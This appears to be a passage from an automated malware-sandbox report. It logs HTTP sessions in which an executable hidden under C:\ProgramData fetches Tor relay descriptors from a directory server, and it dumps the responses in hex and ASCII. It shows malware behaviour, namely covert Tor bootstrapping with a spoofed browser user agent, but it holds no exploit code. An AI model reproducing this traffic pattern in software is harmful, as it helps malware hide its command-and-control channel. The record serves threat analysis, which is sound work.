72 69 6e 74 20 44 33 45 39 20 46 38 36 37 20 44 44 46 32 20 38 44 45 31 20 39 31 45 41 20 36 31 31 46 20 44 33 36 30 20 33 35 33 43 20 38 33 38 34 20 46 38 41 42 0a 75 70 74 69 6d 65 20 37 38 31 0a 62 61 6e 64 77 69 64 74 68 20 35 31 32 30 30 30 20 36 31 34 34 30 30 20 34 38 37 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 45 39 31 45 32 42 37 41 31 42 38 30 38 39 46 45 41 32 31 43 36 39 37 30 30 33 38 46 44 33 34 41 33 43 31 36 36 39 34 20 62 31 78 61 39 57 32 5a 56 46 78 6c 36 2f 65 54 73 35 2f 75 4b 58 6d 57 7a 6a 4c 41 2b 77 6e 56 42 69 64 59 31 59 38 65 4c 44 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 61 5a 6a 45 6e 47 38 78 58 4f 53 51 42 53 58 63 68 79 39 6f 48 67 4c 75 47 4e 7a 66 6b 4f 6b 48 50 35 46 70 72 4a 64 56 71 64 38 37 42 31 51 68 48 77 33 75 2f 69 0a 4f 6a 75 51 73 2f 4b 69 41 30 51 34 2f 47 2b 67 57 75 69 43 33 78 68 6d 43 2b 6a 69 69 68 50 64 54 70 56 34 64 45 58 4d 63 66 73 78 6c 32 2f 6d 72 2b 6b 67 48 32 53 56 54 37 30 69 74 79 77 32 0a 62 4f 69 4e 57 41 2b 6d 7a 71 7a 76 47 6f 37 38 49 31 45 56 44 50 69 47 7a 42 75 46 47 78 4b 55 50 6e 49 73 74 6d 79 72 62 74 36 6a 57 5a 79 4a 7a 39 4e 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2f 67 7a 73 74 58 70 55 61 41 4c 68 6a 51 77 6d 77 48 71 4a Data Ascii: router transtbb 84.155.152.82 14074 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxV6AQFVLbRbCeZ604P2tD8pIBGQNrOtjXuIZMasp0fB/c6QAQAgBABo560RR9EGj3UAYvjPvduapVWIOEW1OoPjpEGKO6AZpydJVYo/2124yMtbXNCthtdwqJ6tgsvpVrtpeOVMmlO4RUXBZZvPI9hXFNRwge87hzCcAcBmQtphX60ZYTf3UQk=-----END ED25519 CERT-----master-key-ed25519 aOetEUfRBo91AGL4z73bmqVViDhFtTqD46RBijugGacplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:13:26fingerprint D3E9 F867 DDF2 8DE1 91EA 611F D360 353C 8384 F8ABuptime 781bandwidth 512000 614400 487150extra-info-digest 6E91E2B7A1B8089FEA21C6970038FD34A3C16694 b1xa9W2ZVFxl6/eTs5/uKXmWzjLA+wnVBidY1Y8eLDMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANaZjEnG8xXOSQBSXchy9oHgLuGNzfkOkHP5FprJdVqd87B1QhHw3u/iOjuQs/KiA0Q4/G+gWuiC3xhmC+jiihPdTpV4dEXMcfsxl2/mr+kgH2SVT70ityw2bOiNWA+mzqzvGo78I1EVDPiGzBuFGxKUPnIstmyrbt6jWZyJz9NBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL/gzstXpUaALhjQwmwHqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49724	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:01.009470940 CET	5253	OUT	GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:01.062529087 CET	5254	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:01 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:01 GMT Data Raw: 72 6f 75 74 65 72 20 56 54 49 53 75 70 70 6f 72 74 31 20 38 32 2e 32 32 31 2e 31 32 38 2e 32 32 30 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 5a 63 41 65 4b 56 6f 6e 46 6a 46 34 4d 5a 61 78 51 59 7a 41 4b 78 32 61 31 6e 52 72 6c 2f 2f 50 43 62 49 41 45 71 42 63 55 76 52 49 37 31 41 51 41 67 42 41 42 45 6d 62 45 76 0a 68 78 37 44 65 35 4e 47 36 6d 54 4c 69 66 46 57 36 2b 63 53 64 59 48 76 69 51 6b 79 64 2b 56 75 76 65 6f 4e 6d 57 6a 4d 42 34 2b 33 57 34 54 4b 64 38 77 52 6f 37 32 6b 49 34 4c 76 4b 45 73 52 0a 42 6c 35 32 32 2f 66 79 4a 52 42 46 4c 64 36 49 76 79 4e 48 53 7a 38 75 4e 63 79 4b 38 62 6b 37 74 48 39 32 65 52 78 38 78 37 35 67 36 54 70 68 56 41 31 45 45 61 71 6f 51 41 63 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 52 4a 6d 78 4c 34 63 65 77 33 75 54 52 75 70 6b 79 34 6e 78 56 75 76 6e 45 6e 57 42 37 34 6b 4a 4d 6e 66 6c 62 72 33 71 44 5a 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 35 3a 33 33 3a 31 32 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 43 41 20 32 38 44 38 20 42 39 39 38 20 30 43 43 44 20 39 41 42 38 20 33 30 44 33 20 30 30 36 42 20 42 36 39 38 20 43 45 39 39 20 42 32 30 44 0a 75 70 74 69 6d 65 20 35 31 38 34 35 32 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 34 30 33 30 34 36 37 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 34 33 33 45 43 43 39 42 34 30 37 36 46 36 31 44 45 30 42 43 37 35 37 44 44 31 39 41 44 45 36 31 35 42 30 38 33 38 30 46 20 6d 49 2f 58 7a 37 50 78 4f 37 69 39 6a 67 63 64 74 75 53 6b 67 31 51 66 4b 38 48 47 67 53 6f 43 70 72 36 2b 33 52 37 54 38 64 67 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 64 6d 52 4b 67 59 74 61 4d 46 5a 49 70 6d 44 59 53 49 67 5a 2f 72 63 35 44 62 31 53 55 65 4d 73 47 6a 79 39 63 32 56 35 5a 62 4a 36 4a 64 7a 63 5a 32 36 4f 41 79 0a 58 4f 6a 31 50 52 2b 6b 68 75 54 74 4c 61 38 4a 52 78 30 4f 42 4c 35 74 7a 57 59 42 6f 59 6d 49 38 66 76 47 57 71 6f 46 50 71 67 6b 57 6a 59 48 51 69 7a 44 61 5a 34 79 55 4b 2f 6f 4f 35 37 4a 0a 73 63 62 70 4c 6f 72 36 4f 7a 37 4c 47 6d 63 44 75 33 66 68 33 34 41 54 2f 34 59 5a 68 73 5a 58 72 33 64 4c 6e 4a 62 32 34 72 6b 49 48 31 39 51 4c 67 4f 6c 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 4c 33 2b 74 Data Ascii: router VTISupport1 82.221.128.220 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxZcAeKVonFjF4MZaxQYzAKx2a1nRrl//PCbIAEqBcUvRI71AQAgBABEmbEvhx7De5NG6mTLifFW6+cSdYHviQkyd+VuveoNmWjMB4+3W4TKd8wRo72kI4LvKEsRBl522/fyJRBFLd6IvyNHSz8uNcyK8bk7tH92eRx8x75g6TphVA1EEaqoQAc=-----END ED25519 CERT-----master-key-ed25519 RJmxL4cew3uTRupky4nxVuvnEnWB74kJMnflbr3qDZkplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 15:33:12fingerprint 38CA 28D8 B998 0CCD 9AB8 30D3 006B B698 CE99 B20Duptime 518452bandwidth 1073741824 1073741824 40304672extra-info-digest 433ECC9B4076F61DE0BC757DD19ADE615B08380F mI/Xz7PxO7i9jgcdtuSkg1QfK8HGgSoCpr6+3R7T8dgonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANdmRKgYtaMFZIpmDYSIgZ/rc5Db1SUeMsGjy9c2V5ZbJ6JdzcZ26OAyXOj1PR+khuTtLa8JRx0OBL5tzWYBoYmI8fvGWqoFPqgkWjYHQizDaZ4yUK/oO57JscbpLor6Oz7LGmcDu3fh34AT/4YZhsZXr3dLnJb24rkIH19QLgOlAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKL3+t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49725	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:01.590738058 CET	5261	OUT	GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:01.637325048 CET	5263	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:01 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:01 GMT Data Raw: 72 6f 75 74 65 72 20 74 72 61 6e 73 74 62 62 20 38 34 2e 31 35 35 2e 31 35 32 2e 38 32 20 31 34 30 37 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 36 41 51 46 56 4c 62 52 62 43 65 5a 36 30 34 50 32 74 44 38 70 49 42 47 51 4e 72 4f 74 6a 58 75 49 5a 4d 61 73 70 30 66 42 2f 63 36 51 41 51 41 67 42 41 42 6f 35 36 30 52 0a 52 39 45 47 6a 33 55 41 59 76 6a 50 76 64 75 61 70 56 57 49 4f 45 57 31 4f 6f 50 6a 70 45 47 4b 4f 36 41 5a 70 79 64 4a 56 59 6f 2f 32 31 32 34 79 4d 74 62 58 4e 43 74 68 74 64 77 71 4a 36 74 0a 67 73 76 70 56 72 74 70 65 4f 56 4d 6d 6c 4f 34 52 55 58 42 5a 5a 76 50 49 39 68 58 46 4e 52 77 67 65 38 37 68 7a 43 63 41 63 42 6d 51 74 70 68 58 36 30 5a 59 54 66 33 55 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 4f 65 74 45 55 66 52 42 6f 39 31 41 47 4c 34 7a 37 33 62 6d 71 56 56 69 44 68 46 74 54 71 44 34 36 52 42 69 6a 75 67 47 61 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 31 33 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 44 33 45 39 20 46 38 36 37 20 44 44 46 32 20 38 44 45 31 20 39 31 45 41 20 36 31 31 46 20 44 33 36 30 20 33 35 33 43 20 38 33 38 34 20 46 38 41 42 0a 75 70 74 69 6d 65 20 37 38 31 0a 62 61 6e 64 77 69 64 74 68 20 35 31 32 30 30 30 20 36 31 34 34 30 30 20 34 38 37 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 45 39 31 45 32 42 37 41 31 42 38 30 38 39 46 45 41 32 31 43 36 39 37 30 30 33 38 46 44 33 34 41 33 43 31 36 36 39 34 20 62 31 78 61 39 57 32 5a 56 46 78 6c 36 2f 65 54 73 35 2f 75 4b 58 6d 57 7a 6a 4c 41 2b 77 6e 56 42 69 64 59 31 59 38 65 4c 44 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 61 5a 6a 45 6e 47 38 78 58 4f 53 51 42 53 58 63 68 79 39 6f 48 67 4c 75 47 4e 7a 66 6b 4f 6b 48 50 35 46 70 72 4a 64 56 71 64 38 37 42 31 51 68 48 77 33 75 2f 69 0a 4f 6a 75 51 73 2f 4b 69 41 30 51 34 2f 47 2b 67 57 75 69 43 33 78 68 6d 43 2b 6a 69 69 68 50 64 54 70 56 34 64 45 58 4d 63 66 73 78 6c 32 2f 6d 72 2b 6b 67 48 32 53 56 54 37 30 69 74 79 77 32 0a 62 4f 69 4e 57 41 2b 6d 7a 71 7a 76 47 6f 37 38 49 31 45 56 44 50 69 47 7a 42 75 46 47 78 4b 55 50 6e 49 73 74 6d 79 72 62 74 36 6a 57 5a 79 4a 7a 39 4e 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2f 67 7a 73 74 58 70 55 61 41 4c 68 6a 51 77 6d 77 48 71 4a Data Ascii: router transtbb 84.155.152.82 14074 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxV6AQFVLbRbCeZ604P2tD8pIBGQNrOtjXuIZMasp0fB/c6QAQAgBABo560RR9EGj3UAYvjPvduapVWIOEW1OoPjpEGKO6AZpydJVYo/2124yMtbXNCthtdwqJ6tgsvpVrtpeOVMmlO4RUXBZZvPI9hXFNRwge87hzCcAcBmQtphX60ZYTf3UQk=-----END ED25519 CERT-----master-key-ed25519 aOetEUfRBo91AGL4z73bmqVViDhFtTqD46RBijugGacplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:13:26fingerprint D3E9 F867 DDF2 8DE1 91EA 611F D360 353C 8384 F8ABuptime 781bandwidth 512000 614400 487150extra-info-digest 6E91E2B7A1B8089FEA21C6970038FD34A3C16694 b1xa9W2ZVFxl6/eTs5/uKXmWzjLA+wnVBidY1Y8eLDMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANaZjEnG8xXOSQBSXchy9oHgLuGNzfkOkHP5FprJdVqd87B1QhHw3u/iOjuQs/KiA0Q4/G+gWuiC3xhmC+jiihPdTpV4dEXMcfsxl2/mr+kgH2SVT70ityw2bOiNWA+mzqzvGo78I1EVDPiGzBuFGxKUPnIstmyrbt6jWZyJz9NBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL/gzstXpUaALhjQwmwHqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49726	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:01.861066103 CET	5266	OUT	GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:01.907701015 CET	5268	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:01 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:01 GMT Data Raw: 72 6f 75 74 65 72 20 54 79 6b 52 65 6c 61 79 30 32 20 39 35 2e 32 31 36 2e 31 30 31 2e 32 34 37 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 72 41 55 32 49 64 6d 61 4e 62 69 6d 47 58 76 61 35 4e 53 6f 72 42 36 6a 7a 6b 4c 37 77 4d 62 36 6c 57 71 49 57 63 35 2f 74 37 37 4e 57 41 51 41 67 42 41 44 4f 35 49 68 73 0a 61 79 4f 70 57 69 31 62 2f 68 67 65 55 51 74 4b 63 51 34 78 4f 4b 66 79 57 6f 56 4f 54 64 70 2f 39 74 78 33 77 4b 77 55 76 77 47 6a 6c 64 4c 39 49 72 7a 50 77 66 62 76 68 4e 4b 37 30 35 69 47 0a 72 78 79 78 6c 2b 66 4d 69 67 47 4b 54 74 39 30 78 6f 44 76 76 46 51 31 50 51 6f 4a 2b 4b 2b 35 42 78 50 48 54 33 71 49 4d 2f 32 50 73 65 44 41 6a 47 44 35 4e 4b 76 65 35 67 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 7a 75 53 49 62 47 73 6a 71 56 6f 74 57 2f 34 59 48 6c 45 4c 53 6e 45 4f 4d 54 69 6e 38 6c 71 46 54 6b 33 61 66 2f 62 63 64 38 41 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 31 3a 34 66 39 3a 32 62 3a 31 35 31 66 3a 39 35 3a 32 31 36 3a 31 30 31 3a 32 34 37 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 46 72 65 65 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 32 30 3a 34 37 3a 31 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 43 43 20 39 35 41 38 20 43 45 39 32 20 41 35 39 31 20 44 34 41 35 20 37 37 39 33 20 35 39 42 45 20 46 46 42 41 20 31 33 46 41 20 31 42 38 38 0a 75 70 74 69 6d 65 20 33 30 36 30 30 33 36 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 39 36 34 31 31 31 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 43 39 37 35 32 36 43 30 43 33 43 46 38 46 41 34 39 44 43 39 38 30 37 39 45 33 33 41 35 38 35 35 39 45 45 45 33 44 20 61 74 4d 42 48 32 52 33 36 36 72 76 5a 74 59 6c 71 6c 79 58 62 32 34 6c 37 4a 6f 62 47 44 69 35 4a 51 65 67 39 61 43 70 73 54 30 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 45 46 49 58 78 51 6c 6f 6f 73 51 54 69 48 52 32 48 33 42 76 31 77 4b 68 74 37 38 76 69 34 50 64 38 30 33 70 4e 32 6a 6b 6f 74 78 4c 77 74 66 46 4a 76 49 50 4a 78 0a 52 38 53 32 71 72 31 6a 55 53 6b 59 61 31 56 6b 31 52 52 70 6f 39 79 5a 50 6d 72 63 77 39 54 6d 6c 78 4d 78 75 34 55 4d 44 30 4e 58 6b 36 72 6e 77 61 5a 49 72 36 30 71 79 41 63 50 64 6e 70 34 0a 48 31 50 55 4b 54 77 4a 34 4b 75 6d 49 38 6b 37 34 69 6a 34 43 6c 52 62 38 6b 37 48 73 46 6b 51 6f 62 4a 31 43 2b 4d 61 59 56 53 68 53 32 37 66 49 49 6f 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 Data Ascii: router TykRelay02 95.216.101.247 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUrAU2IdmaNbimGXva5NSorB6jzkL7wMb6lWqIWc5/t77NWAQAgBADO5IhsayOpWi1b/hgeUQtKcQ4xOKfyWoVOTdp/9tx3wKwUvwGjldL9IrzPwfbvhNK705iGrxyxl+fMigGKTt90xoDvvFQ1PQoJ+K+5BxPHT3qIM/2PseDAjGD5NKve5gA=-----END ED25519 CERT-----master-key-ed25519 zuSIbGsjqVotW/4YHlELSnEOMTin8lqFTk3af/bcd8Aor-address [2a01:4f9:2b:151f:95:216:101:247]:443platform Tor 0.4.7.10 on FreeBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 20:47:14fingerprint 38CC 95A8 CE92 A591 D4A5 7793 59BE FFBA 13FA 1B88uptime 3060036bandwidth 1073741824 1073741824 29641114extra-info-digest D5C97526C0C3CF8FA49DC98079E33A58559EEE3D atMBH2R366rvZtYlqlyXb24l7JobGDi5JQeg9aCpsT0onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALEFIXxQloosQTiHR2H3Bv1wKht78vi4Pd803pN2jkotxLwtfFJvIPJxR8S2qr1jUSkYa1Vk1RRpo9yZPmrcw9TmlxMxu4UMD0NXk6rnwaZIr60qyAcPdnp4H1PUKTwJ4KumI8k74ij4ClRb8k7HsFkQobJ1C+MaYVShS27fIIoxAgMBAAE=-----END RSA PUBLIC KEY-----signing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49727	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:02.308775902 CET	5274	OUT	GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:02.355377913 CET	5276	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:02 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:02 GMT Data Raw: 72 6f 75 74 65 72 20 74 72 61 6e 73 74 62 62 20 38 34 2e 31 35 35 2e 31 35 32 2e 38 32 20 31 34 30 37 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 36 41 51 46 56 4c 62 52 62 43 65 5a 36 30 34 50 32 74 44 38 70 49 42 47 51 4e 72 4f 74 6a 58 75 49 5a 4d 61 73 70 30 66 42 2f 63 36 51 41 51 41 67 42 41 42 6f 35 36 30 52 0a 52 39 45 47 6a 33 55 41 59 76 6a 50 76 64 75 61 70 56 57 49 4f 45 57 31 4f 6f 50 6a 70 45 47 4b 4f 36 41 5a 70 79 64 4a 56 59 6f 2f 32 31 32 34 79 4d 74 62 58 4e 43 74 68 74 64 77 71 4a 36 74 0a 67 73 76 70 56 72 74 70 65 4f 56 4d 6d 6c 4f 34 52 55 58 42 5a 5a 76 50 49 39 68 58 46 4e 52 77 67 65 38 37 68 7a 43 63 41 63 42 6d 51 74 70 68 58 36 30 5a 59 54 66 33 55 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 4f 65 74 45 55 66 52 42 6f 39 31 41 47 4c 34 7a 37 33 62 6d 71 56 56 69 44 68 46 74 54 71 44 34 36 52 42 69 6a 75 67 47 61 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 31 33 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 44 33 45 39 20 46 38 36 37 20 44 44 46 32 20 38 44 45 31 20 39 31 45 41 20 36 31 31 46 20 44 33 36 30 20 33 35 33 43 20 38 33 38 